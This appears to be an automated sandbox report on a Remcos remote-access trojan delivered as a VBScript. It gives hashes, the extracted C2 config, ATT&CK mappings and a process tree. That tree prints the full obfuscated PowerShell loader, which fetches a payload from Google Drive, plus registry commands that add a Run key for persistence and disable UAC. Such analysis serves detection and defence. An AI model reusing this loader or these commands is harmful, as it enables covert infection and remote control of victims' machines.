remcos | 969d4f51528c1a62de42fd8dfc0efaf09b1857426add53376a3e2db14456a173

Analysis

max time kernel
150s
max time network
150s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
19-11-2024 06:15

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General

Target

a.vbs
Size

16KB
MD5

e6c723d6a40150466aa011158c68e591
SHA1

f18348ee740329c6cb706123b34151dde9197b50
SHA256

969d4f51528c1a62de42fd8dfc0efaf09b1857426add53376a3e2db14456a173
SHA512

c9c85c17c329267d8dbed3441baa63c85cbd0abbad858dfd86632de8cd97b461d8f36c4b4fbd126712cd2664ba1e6bd2eece30fb090b9ff462ac4c052b204256
SSDEEP

384:X+7h2tykhjtUXkNaaYtydrEVql1UnqCrP0z9CW6fz83W4u8b:GUtbto31+rOqcnqCrMZuA3nb

Score

10^/10

remcos remotehost discovery evasion execution persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

jwdtcx3kfb.duckdns.org:47392

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JY1QRO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

flow	pid	Process
3	3896	WScript.exe
8	220	powershell.exe
12	220	powershell.exe
33	2324	msiexec.exe
35	2324	msiexec.exe
37	2324	msiexec.exe
40	2324	msiexec.exe
41	2324	msiexec.exe
53	2324	msiexec.exe
55	2324	msiexec.exe
56	2324	msiexec.exe
57	2324	msiexec.exe
58	2324	msiexec.exe
59	2324	msiexec.exe
60	2324	msiexec.exe
61	2324	msiexec.exe
62	2324	msiexec.exe
63	2324	msiexec.exe
64	2324	msiexec.exe
65	2324	msiexec.exe
66	2324	msiexec.exe
67	2324	msiexec.exe
68	2324	msiexec.exe
69	2324	msiexec.exe
70	2324	msiexec.exe
71	2324	msiexec.exe
72	2324	msiexec.exe
74	2324	msiexec.exe
78	2324	msiexec.exe
79	2324	msiexec.exe
80	2324	msiexec.exe
81	2324	msiexec.exe
82	2324	msiexec.exe
83	2324	msiexec.exe
84	2324	msiexec.exe
85	2324	msiexec.exe
86	2324	msiexec.exe
87	2324	msiexec.exe
88	2324	msiexec.exe
89	2324	msiexec.exe
90	2324	msiexec.exe
91	2324	msiexec.exe
92	2324	msiexec.exe
93	2324	msiexec.exe
94	2324	msiexec.exe
95	2324	msiexec.exe
96	2324	msiexec.exe
98	2324	msiexec.exe
99	2324	msiexec.exe
100	2324	msiexec.exe
104	2324	msiexec.exe
106	2324	msiexec.exe
107	2324	msiexec.exe
108	2324	msiexec.exe
109	2324	msiexec.exe
110	2324	msiexec.exe
111	2324	msiexec.exe
112	2324	msiexec.exe
113	2324	msiexec.exe
114	2324	msiexec.exe
115	2324	msiexec.exe
116	2324	msiexec.exe
117	2324	msiexec.exe
118	2324	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Aabeskyttelseslinien% -windowstyle 1 $Banegaardenes=(gp -Path 'HKCU:\\Software\\Crinums\\').Checkkontoens;%Aabeskyttelseslinien% ($Banegaardenes)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
220	powershell.exe
3824	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com
33	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2324	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3824	powershell.exe
2324	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4920	reg.exe
1008	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
220	powershell.exe
220	powershell.exe
3824	powershell.exe
3824	powershell.exe
3824	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3824	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	3824	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2324	msiexec.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 220	3896	WScript.exe	81
PID 3896 wrote to memory of 220	3896	WScript.exe	81
PID 3824 wrote to memory of 2324	3824	powershell.exe	94
PID 3824 wrote to memory of 2324	3824	powershell.exe	94
PID 3824 wrote to memory of 2324	3824	powershell.exe	94
PID 3824 wrote to memory of 2324	3824	powershell.exe	94
PID 2324 wrote to memory of 1148	2324	msiexec.exe	95
PID 2324 wrote to memory of 1148	2324	msiexec.exe	95
PID 2324 wrote to memory of 1148	2324	msiexec.exe	95
PID 1148 wrote to memory of 4920	1148	cmd.exe	97
PID 1148 wrote to memory of 4920	1148	cmd.exe	97
PID 1148 wrote to memory of 4920	1148	cmd.exe	97
PID 2324 wrote to memory of 1808	2324	msiexec.exe	99
PID 2324 wrote to memory of 1808	2324	msiexec.exe	99
PID 2324 wrote to memory of 1808	2324	msiexec.exe	99
PID 1808 wrote to memory of 1008	1808	cmd.exe	101
PID 1808 wrote to memory of 1008	1808	cmd.exe	101
PID 1808 wrote to memory of 1008	1808	cmd.exe	101

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Cartograms Repaganisers Grejss Fiberkufferterne cnidoblast Ansgningsfristen Bromkaliummet #><#Sash Multielectrode Bruttoetagearealets pentaglottical #>$Erode72='Fashionabelt';function Erosely($Hedens){If ($host.DebuggerEnabled) {$Geolatry=4} for ($Catechus=$Geolatry;;$Catechus+=5){if(!$Hedens[$Catechus]) { break }$Moderne242+=$Hedens[$Catechus]}$Moderne242}function Sammenkogs($aimwre){ .($astichous) ($aimwre)}$Tamises=Erosely ',remn .atEA.ostGips.t.ikWPillEPhotbWhorcRe iLNudii.ecie Sp n esct';$Whitecup=Erosely 'NoveM ,ntoTreyzFagtiMucolOdorlTr kaFaar/';$Opklaringsstyrkes=Erosely 'R diTDogml Kr sBest1 ea2';$gennembruds='Glut[Flj.NPre E ftet Mo .GallSBag eAfgir Medv S,niM,ltCLustEBladPp.epoTenniTrusnDamatSomtMRiveaDeminInd.AWarsg HalEVskerHyst]Pres: Sk :UnicsAfseEBacac P ru Co Rt veISndrtFlosYHe,tpTes RS eao BagtUnnooArchC WaxoSkr LSka =Terr$TusiOHeltpyamsKKretL UslALea,RSkueiVa,tNAmmogF jlSSubdS NontBonnYBud RBoliK MereFaceS';$Whitecup+=Erosely '.edb5Mobu.Ruff0Konf Mrke(AutoW r niPap nUri dSubsoSubmw E,osVeks SubsNPeakTspor Semi1 Kni0 er.,bje0 Ur.;Star GejsW T miResonOver6Depu4Herl;Udf. KnskxFav 6 dsu4 Uds;Sup Krydr SpivC ta:Extr1.rae3 Uns1Fix .Velv0 Hyp)Hove BifiGTrafeProgcFagbksl no tau/Snar2Burg0Ud,a1 an0spa 0inte1 ab,0 Cla1Hy t NewsFMultisinurBudseLongfF geoFrikx eta/Impr1 Dvr3Occi1Tils.S,lv0';$Sarcomatosis193=Erosely 'SaliUOosps PoseElfir Ph - AtoaSalmG.tavEDecunDokut';$Viderebringelse=Erosely ' FerhDrabt Im,tVealpWebssV mp:Domy/tilk/,ntad Betr Evai Disv ReneLaka.FilogBeboo urbo Pr.gU,stl DaveRosf. H pcEgepo GanmJibs/S,stuIncoc To,?Gr,meCyulxRosepAw soUngrrRevet Au =KastdQuieoGravwStarnMa.tlFo koDet aKl ddPaak&AadsiGivtdSu,e=Rede1.lexpElev7BjlkKapriVSu fTpauljethnL ociQTr bH ForcFar Rfran-Pla -Sge.4 ,orrhemoS Kd BUnmuw ParnBhat5AnnaY DomLPhipk utrXSyndz .edETraa5DholyAstiuSmudZ ArczSka.8';$Stikpillers170=Erosely 'Cask>';$astichous=Erosely ' arii MazeAfteX';$Boretaarnene='Photoplaywright';$Scena='\Benzinmotorernes218.Gna';Sammenkogs (Erosely 'Arta$RascGAnisLStedO.lumbChapA Aerl.nva:AreomVskeuTrivs.ublhFrimrForuoL ejoWal MHj.miU.irN EryGFr m=ko,t$FusiEDekoNHe nVGu t:TigeADdssPskripC rnddrgsAO,seTT leaGene+J ke$ ohaSF utCDisteD.aeN myea');Sammenkogs (Erosely 'B ge$ SocGRefuL G,uOForlb,orga gygLWho :Hva,PNyphl ChoEUndeT oothEngaowhenR C lOIn nU spisafma= Pas$BrakVAfocIAssuDDomse EmpRPhotEStavB ttarArrhI ,eknZinkgAnnoEKla l OprsCrutE Fu,.DaglsAne pI dflRelaI SkgTAnae( Ph,$BelyS bnoT catIO hiK Cirp E tISjusl S llF ureOverR AgesR nd1Stil7Min 0 Den)');Sammenkogs (Erosely $gennembruds);$Viderebringelse=$Plethorous[0];$Catechusnosilicate=(Erosely 'Disl$O,emGCystLPoinOSev BFuckaTrinlAmob:Aff,psjleoPerfsanimIRhintSammiSikrOHorvNMid s An,L VinITopmsboe tJo vE GruRK ranBedie iss nt= otiNUd rEReacwB sl-sammoskrib,ikkJS.kteepi.c,osit.erv .chaS pmny .onsSt aTFormES enMarch.nond$Car,TForea BlaM kywi macSPreseM lls');Sammenkogs ($Catechusnosilicate);Sammenkogs (Erosely 'Ophr$phoePEligoFurzsSal i ScotAyi iSempoSprin.hyssOccal berisagasSammtArkaeHukkrSh.rnEgeneMurusupqu.EnliH SumeGanga GendSpeceDesir ligsTrou[ Fst$PhagSLibiaPolyrGigacLimsoAncim,abbaT rbt StooUncosCowli entsDe a1 Pol9Circ3C ri]Oste= Eun$DkssWHjerh Ur.iUngat H meModtcShowuMl ep');$Unskirted=Erosely 'Laby$ koPGraao Cens anaiNunatRykkiForsoRepanKon s Bill BraiUnvis Tint Anne rejr dsn rygeVicesTh s.PredDRampodiasw FodnSwinlKonso Yr aFascd TakFAcc iBor lAgele Sci(rhin$S,eoVB.yniDrf dSvove St.ropune ConbSemirErnriHoevn iblgGaw eResnlG lls RepeInte, O e$Pol,F NonlTedeaRiftsSa tkFa.oeWhi rErineKlipnTyndsk.meeLgprrKlov)';$Flaskerenser=$mushrooming;Sammenkogs (Erosely 'thor$NitrGEp klFrisosterBBarsaL gtLUdls:InelS Udia B,fM Su mUdyreAnkeN ng KUnunnEleny Ab,tRe.stSub E St,DPrevEF lk= Neu(CombTUnope MisSelevtPoly- upipBak,aComstTrouhPr,n Afp$ DolF H xlGrnlaLag SK,rsKPolyeOsteRt anEPro Nh,emSOmdmESelvRper )');while (!$Sammenknyttede) {Sammenkogs (Erosely 'Bolo$SpirgRenslR,nsoNonpb Rega TmrlPina:BursBLoegaLim tSlurhItery Dets Tenc .teaAsocp LaahHapaeAbibs Mic=C st$in.eEhka uAreorUnd oPearm MyrnDolmtColuelazyr') ;Sammenkogs $Unskirted;Sammenkogs (Erosely 'Un.rSFribt N.ka KamrHj mtA gu-HypeSRundlYdelES.rteEndapRver Cl.4');Sammenkogs (Erosely 'Stud$Cyang TralUnivORottBIn.rAPietlBaga:Un esHydrAMonom SpemBouleS mmNF ankMillNethnySurvt rict,ntieEfteDmo oEIgno= Rec(anertGorgERikosWaxbT o v- BlopUartaWormtAsf Ho al krl$retsFE,zoLMa sa TaksPeliKVerdE Uger ErhEE stNH,loS PreE IjorSvr )') ;Sammenkogs (Erosely ' Ol $ forgGan l hoOO.igB beaAantiLMapp:PullFmidteTyenM ankt spaE Stan ilrApunnaVaerR ieps Camf larDSineshearePretlskilsExpadArk.aKattgAd mEEry.NMark5 Par1Gill=L nd$GuarG Fral.fseOin fbScraaO,deLResi: HenFAgatESmutiOestN jlesConcC.iochStttMun oEHolac.nthkZedsE MauRSlibE rosPara+Fugl+Budd% P a$Con pTrafL upeE unTWitchPolyoBindRMercO FaluSmukS Cau.Sa tc ,tooDispUS idnPibet') ;$Viderebringelse=$Plethorous[$Femtenaarsfdselsdagen51]}$Sabbatic=334089;$Afkog=31095;Sammenkogs (Erosely 'K.es$ IrrgIn oL BesOHe,tBKomoaAfmrLBorg:un rgHjemHFemua K orkr,trVindI SpaeG aiS.osy Ov.r=Soci SupgUnivEB batKvad-F dsC Rito fl NHe nTMiljE QuaNAdreT Byl Disc$BiosF eadLSnotaIn uS VerkL veESchoR .oleoverNKeyssrecieC.llR');Sammenkogs (Erosely 'Se.r$Inddg Klel Denocubeb Reda,yvulBegr:OccuSTyk.tPrisuSkuld.inosec imBl nu KersTa,reGrapnGas. Vri =Woad Qui[Dev SRetry olss Au tPuriecoapm M a.SiksCTo.doPickn .ulvCalleSy drforvtHalo]Tote: Det:m scFLa cr kedoFilam FjoB ifaHattsposeePin,6 De,4DykkS ductLi,erTek iSpinn bongLano( Man$DunaG T ghDiviaD lfrImp,rkendiStene W,esStag)');Sammenkogs (Erosely 'Sapr$ HaeGVi elUn xO addbE kyAUn.iLtvan:EurotBoraOUnmecPatro Cykl Ha.oNonsG Fi IBereeFedtS End brud=Stra Gar [ artSUnply edeSFlotTV,ndEGradMBolu. VipTPi eEStrmXPerstSlag.M tee tdn izzcc,ttOMultDArc i U enCadugArbu]Areo:Daga:chitaH,nsSHypoc RosIUnv iGrn..Kan Gsa oE NikTSid sAccot OfrRenliiDi knDivig Fej(I.gt$Brofsra,gTRetru ,uqDOccuSBredm,geluRdehsTegle ogenAfre)');Sammenkogs (Erosely 'Hunh$Laesg cenlFa eoTargBDemeAForslLati: Gi R SkieLat,PEvo,ULandr.fteiGeniF Rk IAtomc Ho,adansTPropiSpiooFjo NMism7Ti e9 Gal=Ager$AangtKlumOS mmCTo uO ,eiLLahlodiskGEx.uI Gr e RevS eb.T.nds HoruW,reBVectSSemiT GuirRescI ChanMetagHe n( Eks$ StrsPly a FrabTrolBDuppaDucstHj oi,omecGuld,Idol$ PelaTragFBr.dKOveroUntrG dep)');Sammenkogs $Repurification79;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:220

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Cartograms Repaganisers Grejss Fiberkufferterne cnidoblast Ansgningsfristen Bromkaliummet #><#Sash Multielectrode Bruttoetagearealets pentaglottical #>$Erode72='Fashionabelt';function Erosely($Hedens){If ($host.DebuggerEnabled) {$Geolatry=4} for ($Catechus=$Geolatry;;$Catechus+=5){if(!$Hedens[$Catechus]) { break }$Moderne242+=$Hedens[$Catechus]}$Moderne242}function Sammenkogs($aimwre){ .($astichous) ($aimwre)}$Tamises=Erosely ',remn .atEA.ostGips.t.ikWPillEPhotbWhorcRe iLNudii.ecie Sp n esct';$Whitecup=Erosely 'NoveM ,ntoTreyzFagtiMucolOdorlTr kaFaar/';$Opklaringsstyrkes=Erosely 'R diTDogml Kr sBest1 ea2';$gennembruds='Glut[Flj.NPre E ftet Mo .GallSBag eAfgir Medv S,niM,ltCLustEBladPp.epoTenniTrusnDamatSomtMRiveaDeminInd.AWarsg HalEVskerHyst]Pres: Sk :UnicsAfseEBacac P ru Co Rt veISndrtFlosYHe,tpTes RS eao BagtUnnooArchC WaxoSkr LSka =Terr$TusiOHeltpyamsKKretL UslALea,RSkueiVa,tNAmmogF jlSSubdS NontBonnYBud RBoliK MereFaceS';$Whitecup+=Erosely '.edb5Mobu.Ruff0Konf Mrke(AutoW r niPap nUri dSubsoSubmw E,osVeks SubsNPeakTspor Semi1 Kni0 er.,bje0 Ur.;Star GejsW T miResonOver6Depu4Herl;Udf. KnskxFav 6 dsu4 Uds;Sup Krydr SpivC ta:Extr1.rae3 Uns1Fix .Velv0 Hyp)Hove BifiGTrafeProgcFagbksl no tau/Snar2Burg0Ud,a1 an0spa 0inte1 ab,0 Cla1Hy t NewsFMultisinurBudseLongfF geoFrikx eta/Impr1 Dvr3Occi1Tils.S,lv0';$Sarcomatosis193=Erosely 'SaliUOosps PoseElfir Ph - AtoaSalmG.tavEDecunDokut';$Viderebringelse=Erosely ' FerhDrabt Im,tVealpWebssV mp:Domy/tilk/,ntad Betr Evai Disv ReneLaka.FilogBeboo urbo Pr.gU,stl DaveRosf. H pcEgepo GanmJibs/S,stuIncoc To,?Gr,meCyulxRosepAw soUngrrRevet Au =KastdQuieoGravwStarnMa.tlFo koDet aKl ddPaak&AadsiGivtdSu,e=Rede1.lexpElev7BjlkKapriVSu fTpauljethnL ociQTr bH ForcFar Rfran-Pla -Sge.4 ,orrhemoS Kd BUnmuw ParnBhat5AnnaY DomLPhipk utrXSyndz .edETraa5DholyAstiuSmudZ ArczSka.8';$Stikpillers170=Erosely 'Cask>';$astichous=Erosely ' arii MazeAfteX';$Boretaarnene='Photoplaywright';$Scena='\Benzinmotorernes218.Gna';Sammenkogs (Erosely 'Arta$RascGAnisLStedO.lumbChapA Aerl.nva:AreomVskeuTrivs.ublhFrimrForuoL ejoWal MHj.miU.irN EryGFr m=ko,t$FusiEDekoNHe nVGu t:TigeADdssPskripC rnddrgsAO,seTT leaGene+J ke$ ohaSF utCDisteD.aeN myea');Sammenkogs (Erosely 'B ge$ SocGRefuL G,uOForlb,orga gygLWho :Hva,PNyphl ChoEUndeT oothEngaowhenR C lOIn nU spisafma= Pas$BrakVAfocIAssuDDomse EmpRPhotEStavB ttarArrhI ,eknZinkgAnnoEKla l OprsCrutE Fu,.DaglsAne pI dflRelaI SkgTAnae( Ph,$BelyS bnoT catIO hiK Cirp E tISjusl S llF ureOverR AgesR nd1Stil7Min 0 Den)');Sammenkogs (Erosely $gennembruds);$Viderebringelse=$Plethorous[0];$Catechusnosilicate=(Erosely 'Disl$O,emGCystLPoinOSev BFuckaTrinlAmob:Aff,psjleoPerfsanimIRhintSammiSikrOHorvNMid s An,L VinITopmsboe tJo vE GruRK ranBedie iss nt= otiNUd rEReacwB sl-sammoskrib,ikkJS.kteepi.c,osit.erv .chaS pmny .onsSt aTFormES enMarch.nond$Car,TForea BlaM kywi macSPreseM lls');Sammenkogs ($Catechusnosilicate);Sammenkogs (Erosely 'Ophr$phoePEligoFurzsSal i ScotAyi iSempoSprin.hyssOccal berisagasSammtArkaeHukkrSh.rnEgeneMurusupqu.EnliH SumeGanga GendSpeceDesir ligsTrou[ Fst$PhagSLibiaPolyrGigacLimsoAncim,abbaT rbt StooUncosCowli entsDe a1 Pol9Circ3C ri]Oste= Eun$DkssWHjerh Ur.iUngat H meModtcShowuMl ep');$Unskirted=Erosely 'Laby$ koPGraao Cens anaiNunatRykkiForsoRepanKon s Bill BraiUnvis Tint Anne rejr dsn rygeVicesTh s.PredDRampodiasw FodnSwinlKonso Yr aFascd TakFAcc iBor lAgele Sci(rhin$S,eoVB.yniDrf dSvove St.ropune ConbSemirErnriHoevn iblgGaw eResnlG lls RepeInte, O e$Pol,F NonlTedeaRiftsSa tkFa.oeWhi rErineKlipnTyndsk.meeLgprrKlov)';$Flaskerenser=$mushrooming;Sammenkogs (Erosely 'thor$NitrGEp klFrisosterBBarsaL gtLUdls:InelS Udia B,fM Su mUdyreAnkeN ng KUnunnEleny Ab,tRe.stSub E St,DPrevEF lk= Neu(CombTUnope MisSelevtPoly- upipBak,aComstTrouhPr,n Afp$ DolF H xlGrnlaLag SK,rsKPolyeOsteRt anEPro Nh,emSOmdmESelvRper )');while (!$Sammenknyttede) {Sammenkogs (Erosely 'Bolo$SpirgRenslR,nsoNonpb Rega TmrlPina:BursBLoegaLim tSlurhItery Dets Tenc .teaAsocp LaahHapaeAbibs Mic=C st$in.eEhka uAreorUnd oPearm MyrnDolmtColuelazyr') ;Sammenkogs $Unskirted;Sammenkogs (Erosely 'Un.rSFribt N.ka KamrHj mtA gu-HypeSRundlYdelES.rteEndapRver Cl.4');Sammenkogs (Erosely 'Stud$Cyang TralUnivORottBIn.rAPietlBaga:Un esHydrAMonom SpemBouleS mmNF ankMillNethnySurvt rict,ntieEfteDmo oEIgno= Rec(anertGorgERikosWaxbT o v- BlopUartaWormtAsf Ho al krl$retsFE,zoLMa sa TaksPeliKVerdE Uger ErhEE stNH,loS PreE IjorSvr )') ;Sammenkogs (Erosely ' Ol $ forgGan l hoOO.igB beaAantiLMapp:PullFmidteTyenM ankt spaE Stan ilrApunnaVaerR ieps Camf larDSineshearePretlskilsExpadArk.aKattgAd mEEry.NMark5 Par1Gill=L nd$GuarG Fral.fseOin fbScraaO,deLResi: HenFAgatESmutiOestN jlesConcC.iochStttMun oEHolac.nthkZedsE MauRSlibE rosPara+Fugl+Budd% P a$Con pTrafL upeE unTWitchPolyoBindRMercO FaluSmukS Cau.Sa tc ,tooDispUS idnPibet') ;$Viderebringelse=$Plethorous[$Femtenaarsfdselsdagen51]}$Sabbatic=334089;$Afkog=31095;Sammenkogs (Erosely 'K.es$ IrrgIn oL BesOHe,tBKomoaAfmrLBorg:un rgHjemHFemua K orkr,trVindI SpaeG aiS.osy Ov.r=Soci SupgUnivEB batKvad-F dsC Rito fl NHe nTMiljE QuaNAdreT Byl Disc$BiosF eadLSnotaIn uS VerkL veESchoR .oleoverNKeyssrecieC.llR');Sammenkogs (Erosely 'Se.r$Inddg Klel Denocubeb Reda,yvulBegr:OccuSTyk.tPrisuSkuld.inosec imBl nu KersTa,reGrapnGas. Vri =Woad Qui[Dev SRetry olss Au tPuriecoapm M a.SiksCTo.doPickn .ulvCalleSy drforvtHalo]Tote: Det:m scFLa cr kedoFilam FjoB ifaHattsposeePin,6 De,4DykkS ductLi,erTek iSpinn bongLano( Man$DunaG T ghDiviaD lfrImp,rkendiStene W,esStag)');Sammenkogs (Erosely 'Sapr$ HaeGVi elUn xO addbE kyAUn.iLtvan:EurotBoraOUnmecPatro Cykl Ha.oNonsG Fi IBereeFedtS End brud=Stra Gar [ artSUnply edeSFlotTV,ndEGradMBolu. VipTPi eEStrmXPerstSlag.M tee tdn izzcc,ttOMultDArc i U enCadugArbu]Areo:Daga:chitaH,nsSHypoc RosIUnv iGrn..Kan Gsa oE NikTSid sAccot OfrRenliiDi knDivig Fej(I.gt$Brofsra,gTRetru ,uqDOccuSBredm,geluRdehsTegle ogenAfre)');Sammenkogs (Erosely 'Hunh$Laesg cenlFa eoTargBDemeAForslLati: Gi R SkieLat,PEvo,ULandr.fteiGeniF Rk IAtomc Ho,adansTPropiSpiooFjo NMism7Ti e9 Gal=Ager$AangtKlumOS mmCTo uO ,eiLLahlodiskGEx.uI Gr e RevS eb.T.nds HoruW,reBVectSSemiT GuirRescI ChanMetagHe n( Eks$ StrsPly a FrabTrolBDuppaDucstHj oi,omecGuld,Idol$ PelaTragFBr.dKOveroUntrG dep)');Sammenkogs $Repurification79;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3824
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Aabeskyttelseslinien% -windowstyle 1 $Banegaardenes=(gp -Path 'HKCU:\Software\Crinums\').Checkkontoens;%Aabeskyttelseslinien% ($Banegaardenes)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1148
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Aabeskyttelseslinien% -windowstyle 1 $Banegaardenes=(gp -Path 'HKCU:\Software\Crinums\').Checkkontoens;%Aabeskyttelseslinien% ($Banegaardenes)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4920
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
6308f4900f0d788fc063009ae993935a

SHA1
896adb52a1251e7bbbe2d9f8ad53feee437adfb5

SHA256
74cfd9d80e9e5a8c5779ec89bab12945fcce80915c2fc6ff9143c04820a2ccd9

SHA512
63de87f0be98966407acbc0fd102ba8c69487c67e7de3710dfe05762a00440195ed3cb51ddd6ce64d9cf79f4cfd680c6382700ca80d5f480919e3334afc3e3bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d0456d47ac736a51457cd30738c232f3

SHA1
930e3576cac152f0782145ad9c34417b404d752a

SHA256
68c2c15c6bb9292be73241a7de1fc7dc0a2eb8ce1db9ff13316f8aec9895a78e

SHA512
34f564521f4b7c0f5d90db0a69ba6e075f3756521dd1b35226b7ad5c9646cab01c2c4336c00b1dab50fa39c1d605e6ef43f14e3858a84f97cb0e59ba9899b980

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_giat4c1u.fyn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
